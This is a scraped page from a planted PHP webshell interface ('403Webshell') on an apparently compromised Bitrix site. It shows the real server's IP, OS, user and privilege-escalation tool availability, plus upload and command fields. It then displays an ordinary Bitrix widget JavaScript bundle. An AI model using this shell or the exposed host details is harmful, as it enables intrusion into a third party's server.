403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/landing/widget/dist/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/landing/widget/dist/widget.bundle.js
/* eslint-disable */
this.BX = this.BX || {};
(function (exports,main_core) {
	'use strict';

	var Widget = /*#__PURE__*/function () {
	  function Widget(widgetElement, options) {
	    var _options$isShowExtend, _options$mainContaine, _options$sidebarConta, _options$extendButton, _options$viewAllButto, _options$grid, _options$gridExtended, _options$buttonHideCl;
	    babelHelpers.classCallCheck(this, Widget);
	    this.element = widgetElement;
	    this.isShowExtendButton = (_options$isShowExtend = options.isShowExtendButton) !== null && _options$isShowExtend !== void 0 ? _options$isShowExtend : false;
	    this.mainContainer = (_options$mainContaine = options.mainContainer) !== null && _options$mainContaine !== void 0 ? _options$mainContaine : null;
	    this.sidebarContainer = (_options$sidebarConta = options.sidebarContainer) !== null && _options$sidebarConta !== void 0 ? _options$sidebarConta : null;
	    this.extendButton = (_options$extendButton = options.extendButton) !== null && _options$extendButton !== void 0 ? _options$extendButton : null;
	    this.viewAllButton = (_options$viewAllButto = options.viewAllButton) !== null && _options$viewAllButto !== void 0 ? _options$viewAllButto : null;
	    this.grid = (_options$grid = options.grid) !== null && _options$grid !== void 0 ? _options$grid : null;
	    this.gridExtendedClass = (_options$gridExtended = options.gridExtendedClass) !== null && _options$gridExtended !== void 0 ? _options$gridExtended : '';
	    this.buttonHideClass = (_options$buttonHideCl = options.buttonHideClass) !== null && _options$buttonHideCl !== void 0 ? _options$buttonHideCl : '';
	  }
	  babelHelpers.createClass(Widget, [{
	    key: "deleteContextDependentContainer",
	    value: function deleteContextDependentContainer() {
	      var _this = this;
	      var sidebarElements = document.querySelectorAll('.landing-sidebar');
	      var isInsideSidebar = false;
	      sidebarElements.forEach(function (sidebarElement) {
	        if (sidebarElement.contains(_this.element)) {
	          isInsideSidebar = true;
	        }
	      });
	      if (isInsideSidebar && this.mainContainer) {
	        this.mainContainer.remove();
	      }
	      if (!isInsideSidebar && this.sidebarContainer) {
	        this.sidebarContainer.remove();
	      }
	    }
	  }, {
	    key: "toggleExtendViewButtonBehavior",
	    value: function toggleExtendViewButtonBehavior() {
	      var _this2 = this;
	      if (this.extendButton && this.viewAllButton) {
	        if (this.isShowExtendButton) {
	          main_core.Event.bind(this.extendButton, 'click', function () {
	            if (_this2.grid) {
	              main_core.Dom.addClass(_this2.grid, _this2.gridExtendedClass);
	              setTimeout(function () {
	                main_core.Dom.addClass(_this2.extendButton, _this2.buttonHideClass);
	                main_core.Dom.removeClass(_this2.viewAllButton, _this2.buttonHideClass);
	              }, 300);
	            }
	          });
	        } else {
	          main_core.Dom.addClass(this.extendButton, this.buttonHideClass);
	          main_core.Dom.removeClass(this.viewAllButton, this.buttonHideClass);
	        }
	      }
	    }
	  }]);
	  return Widget;
	}();

	exports.Widget = Widget;

}((this.BX.Landing = this.BX.Landing || {}),BX));
//# sourceMappingURL=widget.bundle.js.map

Youez - 2016 - github.com/yon3zu
LinuXploit